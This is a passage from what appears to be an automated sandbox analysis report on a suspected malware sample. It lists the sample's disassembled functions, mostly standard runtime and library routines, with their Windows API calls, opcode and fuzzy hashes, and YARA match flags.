Opcode Fuzzy Hash: bd0f664e10209082f8b28efdae44aad90b5cc59672f94763d63ba3a93ec53303
Instruction Fuzzy Hash: AE412C71A001007BFB286FB8AC44AAE3BA4DF56774F14061FF82BD63A0FA3475414669

Function 04666B24 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,004497A0,00000000,00000000,8B56FF8B,0466049A,?,00000004,00000001,004497A0,0000007F,?,8B56FF8B,00000001), ref: 04666B71
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 04666BFA
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 04666C0C
__freea.LIBCMT ref: 04666C15

Part of subcall function 0466392E: RtlAllocateHeap.NTDLL(00000000,0463DAFC,00000000), ref: 04663960

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: abd3ea47fc0e6ec547c6b6e60874e5e084d68c1577f3dfc99b50f136594fac3b
Instruction ID: 35217b46155e0dbe7555dc8f13d3fe4131799a9fe39086f8c0a0ca998adc6ff9
Opcode Fuzzy Hash: abd3ea47fc0e6ec547c6b6e60874e5e084d68c1577f3dfc99b50f136594fac3b
Instruction Fuzzy Hash: 5E31C372A0061AABDF25DF64DC80DAE7BA9EF50714F044268EC06DB250F735E950CBA4

Function 00401FB6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000005), ref: 00401FCB
UpdateWindow.USER32 ref: 00401FD3
ShowWindow.USER32(00000000), ref: 00401FE7
MoveWindow.USER32(00000000,00000000,00000001,00000001,00000001), ref: 0040204A

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Window$Show$MoveUpdate
String ID:
API String ID: 1339878773-0
Opcode ID: 2df54f1dd07e67e892bb3b2eb89b8a5dbc035376ab2a5a7ebcd4eb7b767f49c1
Instruction ID: 839b3a4605fc6fa716c5a1e9d0f595454ae31d99f498b0463e76923fa4e42aa6
Opcode Fuzzy Hash: 2df54f1dd07e67e892bb3b2eb89b8a5dbc035376ab2a5a7ebcd4eb7b767f49c1
Instruction Fuzzy Hash: 83016531E006109BC7258F19ED48A267BAAFFD5712B14803AF40C972B1D7B1EC42CB9C

Function 004290E9 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00429103

Part of subcall function 00429050: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0042907F
Part of subcall function 00429050: ___AdjustPointer.LIBCMT ref: 0042909A

_UnwindNestedFrames.LIBCMT ref: 00429118
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00429129
CallCatchBlock.LIBVCRUNTIME ref: 00429151

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction ID: c9ce71b37bf0ada561c0f38da96873ff120a9bb937dab02468c91de1f254ac1d
Opcode Fuzzy Hash: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction Fuzzy Hash: F0018032200159BBDF12AE92DC46EEB3B69EF49758F444009FE0856121C33AEC71DBA8

Function 04659350 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0465936A

Part of subcall function 046592B7: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 046592E6
Part of subcall function 046592B7: ___AdjustPointer.LIBCMT ref: 04659301

_UnwindNestedFrames.LIBCMT ref: 0465937F
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 04659390
CallCatchBlock.LIBVCRUNTIME ref: 046593B8

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction ID: e40c8195bc2bc3c49196d29e5cbf09e327ea7212d94ac50e192c34a342d40768
Opcode Fuzzy Hash: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction Fuzzy Hash: DF01B3B2100149FBDF125F95CD44DAB7B7AEF58758F444018FE0896230E636E861DBA5

Function 00434F4F Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,00434EF6,?,00000000,00000000,00000000,?,004351AE,00000006,FlsSetValue), ref: 00434F81
GetLastError.KERNEL32(?,00434EF6,?,00000000,00000000,00000000,?,004351AE,00000006,FlsSetValue,0044A370,FlsSetValue,00000000,00000364,?,00431FCC), ref: 00434F8D
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00434EF6,?,00000000,00000000,00000000,?,004351AE,00000006,FlsSetValue,0044A370,FlsSetValue,00000000), ref: 00434F9B

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction ID: 0cc1d3989d4ca165353a689bafe11803c7becb77e2de78a39e4b2d1452c45288
Opcode Fuzzy Hash: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction Fuzzy Hash: 2601FC366052226BC7214F69AC449A7B7D8AF8AFA1F251631F905D3240D724ED01CAE8

Function 046651B6 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0466515D,00000000,00000000,00000000,00000000,?,04665415,00000006,0044A378), ref: 046651E8
GetLastError.KERNEL32(?,0466515D,00000000,00000000,00000000,00000000,?,04665415,00000006,0044A378,0044A370,0044A378,00000000,00000364,?,04662233), ref: 046651F4
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0466515D,00000000,00000000,00000000,00000000,?,04665415,00000006,0044A378,0044A370,0044A378,00000000), ref: 04665202

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction ID: 617348ea2b6011192dd9c4e1e9a25156eb7c148bd34643c73b52b2b0b37de243
Opcode Fuzzy Hash: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction Fuzzy Hash: DB01D83A6112227BC7214F79BC45957779CAF16F617100630F907D3240E720E501CAE4

Function 0042614E Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00426168
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 0042617C
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00426194
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004261AC

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: b0d532a26f63f6046bced7af3b1e02d5ba17ec3ebf316f442b0a79b2244c41dd
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: 3F01F232700120ABCF16AE569811AFF779AAF90354F41001BFC11A7282CA34FD2192A8

Function 046563B5 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 046563CF
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 046563E3
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 046563FB
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 04656413

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: 3dec2fa4d777f887b7e1dfa162b89ac3c68cf7f9289eb50cdc66955dd47a395f
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: 0001D636700224A7DF15BE59C840AAF77A9AF94364F404059EC1AAB3A1FA70FD02D6E4

Function 04652BA2 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 04652BD1
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 04652BEF

Part of subcall function 046486A7: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 046486C8
Part of subcall function 046486A7: Hash.LIBCMT ref: 04648708

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 04652BF8
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 04652C18

Part of subcall function 0464F6FF: Hash.LIBCMT ref: 0464F711

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: d379dd8d035abd09aa72343d0417816ebca02f1086c5fe86f80796eb41e1f0bb
Instruction ID: ef3fb4dd60aecbb457def22602da6355924a4c8b1c2f3f5366159d3b5a9ab881
Opcode Fuzzy Hash: d379dd8d035abd09aa72343d0417816ebca02f1086c5fe86f80796eb41e1f0bb
Instruction Fuzzy Hash: F6118E76900600AFD715DFA4C8809CAF7B8AF59314F044A5EE95687251EB70F504CBA0

Function 04652BB1 Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 04652BD1
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 04652BEF

Part of subcall function 046486A7: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 046486C8
Part of subcall function 046486A7: Hash.LIBCMT ref: 04648708

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 04652BF8
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 04652C18

Part of subcall function 0464F6FF: Hash.LIBCMT ref: 0464F711

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: 36e6617bf236213b9ae2a6ec488584fbad12b714714c281d1e824cb46c32bc20
Instruction ID: b1f79b6aca3b494f0ce387142d345aadbf608df73b7b62e94c0a9ecaa2034274
Opcode Fuzzy Hash: 36e6617bf236213b9ae2a6ec488584fbad12b714714c281d1e824cb46c32bc20
Instruction Fuzzy Hash: FE014C76500604ABDB15EFA5C881DDAF7F8FF59314F008A1EE95687250EB70F544CBA4

Function 00405944 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0040594B

Part of subcall function 0040BB6C: __EH_prolog3_GS.LIBCMT ref: 0040BB73

std::_Locinfo::_Locinfo.LIBCPMT ref: 00405996
__Getcoll.LIBCPMT ref: 004059A5
std::_Locinfo::~_Locinfo.LIBCPMT ref: 004059B5

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID:
API String ID: 1836011271-0
Opcode ID: d3fd66d427a518a8327b3cb9cb74f6b8f9439b9a56478c2bf79d900e2c088ded
Instruction ID: 9fd44fd2a3ed9f30d206a08b807669c32d498cc680062da3e3aec36702d876a7
Opcode Fuzzy Hash: d3fd66d427a518a8327b3cb9cb74f6b8f9439b9a56478c2bf79d900e2c088ded
Instruction Fuzzy Hash: 710135B1920209DFDB10EFA5C48279DBBB0FF00314F00813EE445AB281DB789984CF99

Function 00404E88 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00404E8F

Part of subcall function 0040BB6C: __EH_prolog3_GS.LIBCMT ref: 0040BB73

std::_Locinfo::_Locinfo.LIBCPMT ref: 00404EDA
__Getcoll.LIBCPMT ref: 00404EE9
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00404EF9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID:
API String ID: 1836011271-0
Opcode ID: 5c7f7b3e267c3cd93c70c270880bc3968e993bb5a96bedaf9e5824c89bd4bda4
Instruction ID: 32d9f0e851cf819fcbf451bbe4f834ae4b9dc531d1d0ebefa622e2c81c742f75
Opcode Fuzzy Hash: 5c7f7b3e267c3cd93c70c270880bc3968e993bb5a96bedaf9e5824c89bd4bda4
Instruction Fuzzy Hash: 9F015771910209DFEB10EFA5C48179DB7B0BF80314F00813EE445AB281DB789984CB99

Function 046350EF Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 046350F6

Part of subcall function 0463BDD3: __EH_prolog3_GS.LIBCMT ref: 0463BDDA

std::_Locinfo::_Locinfo.LIBCPMT ref: 04635141
__Getcoll.LIBCPMT ref: 04635150
std::_Locinfo::~_Locinfo.LIBCPMT ref: 04635160

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID:
API String ID: 1836011271-0
Opcode ID: c834db4ee7f75f742bc9d38e4f24115f4df888d21d984597e93f0d8c665dfe3d
Instruction ID: cb0fe35e88875cbaf83fc1ac354ff527ea4329552372d8007b399aa215d1273f
Opcode Fuzzy Hash: c834db4ee7f75f742bc9d38e4f24115f4df888d21d984597e93f0d8c665dfe3d
Instruction Fuzzy Hash: A2012971910348AFEB04EFA4C840B9DB7B0BF4471AF10842DE455AB281EBB4BA44CB59

Function 04635BAB Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 04635BB2

Part of subcall function 0463BDD3: __EH_prolog3_GS.LIBCMT ref: 0463BDDA

std::_Locinfo::_Locinfo.LIBCPMT ref: 04635BFD
__Getcoll.LIBCPMT ref: 04635C0C
std::_Locinfo::~_Locinfo.LIBCPMT ref: 04635C1C

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID:
API String ID: 1836011271-0
Opcode ID: 4b78d09c282b1f3f12f082a40fd3b66a20315af271f9a4a9c9543dffe2d9a537
Instruction ID: c32bd0d25408dab686ddea2f91a19ff06133c449b144030695db031c82922595
Opcode Fuzzy Hash: 4b78d09c282b1f3f12f082a40fd3b66a20315af271f9a4a9c9543dffe2d9a537
Instruction Fuzzy Hash: 06014C71910348EFEB04EFA4C440BDDB7B0BF4471AF10842EE145AB281EBB5B984CB98

Function 0041BEF7 Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF29
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF39
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF49
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF5D

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction ID: 72732f5efe9b63b971529a3f0cd962c81f2cd17cb7f3a1b82d9d198b59e5c030
Opcode Fuzzy Hash: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction Fuzzy Hash: FB01F63608414DBBCF129E64DC428EE3B26EB08354B148416FD18C4232C336CAB2AF8E

Function 0464C15E Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0464C190
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0464C1A0
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0464C1B0
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0464C1C4

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction ID: 54844dad5df5ae2926081109be0b036926eda2ba3915e7fa2827b0bdbaab38a7
Opcode Fuzzy Hash: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction Fuzzy Hash: A601313B006119BBDF119F54DD008AD3B26BF95254F158416FA1886334F332E271AB86

Function 0040D244 Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 004110FB

Part of subcall function 0041096D: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0041098F
Part of subcall function 0041096D: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 004109B0

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0041110E
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0041111A
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00411123

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID:
API String ID: 4284812201-0
Opcode ID: 579a0525b44f01270be9ef68fc27b73e08c7f2f833de457b821bb81fd48d1548
Instruction ID: 32ef31896b2cb6abdcbb34161c10e74fd4bf83775755d0cce9f66a209d269357
Opcode Fuzzy Hash: 579a0525b44f01270be9ef68fc27b73e08c7f2f833de457b821bb81fd48d1548
Instruction Fuzzy Hash: 5EF02470A8020467DF24BBA648525EE72954F84328F14003FB7126B7D2CEBC4DC2929C

Function 0041352C Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 00413545

Part of subcall function 004128CF: ___crtGetTimeFormatEx.LIBCMT ref: 004128E5
Part of subcall function 004128CF: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00412904

GetLastError.KERNEL32 ref: 00413561
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00413577
__CxxThrowException@8.LIBVCRUNTIME ref: 00413585

Part of subcall function 004126A5: SetThreadPriority.KERNEL32(?,?), ref: 004126B1

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: 93dc6e6853861ab66bbf85d3994f28224c3287503f93e908fd108eb425b3b23d
Instruction ID: d4d0e34155d1b65ea1fa919a817b0ae51ac78690af07c02d22dcd9fb344bc12c
Opcode Fuzzy Hash: 93dc6e6853861ab66bbf85d3994f28224c3287503f93e908fd108eb425b3b23d
Instruction Fuzzy Hash: 80F0E2B1A002193AE720BA765D07FFB369C9B00B90F90081BB905E6082EDDCD95042BC

Function 0463D4AB Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 04641362

Part of subcall function 04640BD4: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 04640BF6
Part of subcall function 04640BD4: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 04640C17

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 04641375
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 04641381
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0464138A

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID:
API String ID: 4284812201-0
Opcode ID: 7cc60c53a006b7c0a8f5f6fa39395797a6efdddb6a6f80acb77e5e57232fdb4f
Instruction ID: 99f6d1f1d9d802719914dd9de83ee5fb70f46c66c694063c5c9bc1296cb406e2
Opcode Fuzzy Hash: 7cc60c53a006b7c0a8f5f6fa39395797a6efdddb6a6f80acb77e5e57232fdb4f
Instruction Fuzzy Hash: 0DF0243078061867AF25BAA408185EE22965FD2318F04017DDA51AB7C0FE717D85939C

Function 04643793 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 046437AC

Part of subcall function 04642B36: ___crtGetTimeFormatEx.LIBCMT ref: 04642B4C
Part of subcall function 04642B36: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 04642B6B

GetLastError.KERNEL32 ref: 046437C8
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 046437DE
__CxxThrowException@8.LIBVCRUNTIME ref: 046437EC

Part of subcall function 0464290C: SetThreadPriority.KERNEL32(?,?), ref: 04642918

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: 93dc6e6853861ab66bbf85d3994f28224c3287503f93e908fd108eb425b3b23d
Instruction ID: 3a183b45f72a983d4c4af4377f7ed76de61d6f31a62ff6b03a415d0db4e54784
Opcode Fuzzy Hash: 93dc6e6853861ab66bbf85d3994f28224c3287503f93e908fd108eb425b3b23d
Instruction Fuzzy Hash: F0F027B26003193AFB20B7714C06FBB369C9B41794F60085EB944E35C0F998F40082BC

Function 0464D094 Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0464D0A8
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0464D0CC
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0464D0DF
__CxxThrowException@8.LIBVCRUNTIME ref: 0464D0ED

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID:
API String ID: 3657713681-0
Opcode ID: 9390b3195b713983fe10ad4c3c6d405898b6246382bfd66b9966ffe9dd40d037
Instruction ID: bcf27893c021ca1ac9c912c45f4d0c63f06b9b4236d1523b96e5b3dd15df445e
Opcode Fuzzy Hash: 9390b3195b713983fe10ad4c3c6d405898b6246382bfd66b9966ffe9dd40d037
Instruction Fuzzy Hash: 84F02E35A0010467CF24FF54E851C5EB3799FE1F1D720851ED90613791FB35B94AC665

Function 00412611 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,004235B2,000000A4,000000FF,0000000C), ref: 00412628
GetLastError.KERNEL32(?,?,?,?,004185E9,?,?,?,?,00000000,?,00000000), ref: 00412637
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041264D
__CxxThrowException@8.LIBVCRUNTIME ref: 0041265B

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: e4f9fab13c1926d2e81b23feee93bab4e40d19f09818ad509d0e3559ff61ead6
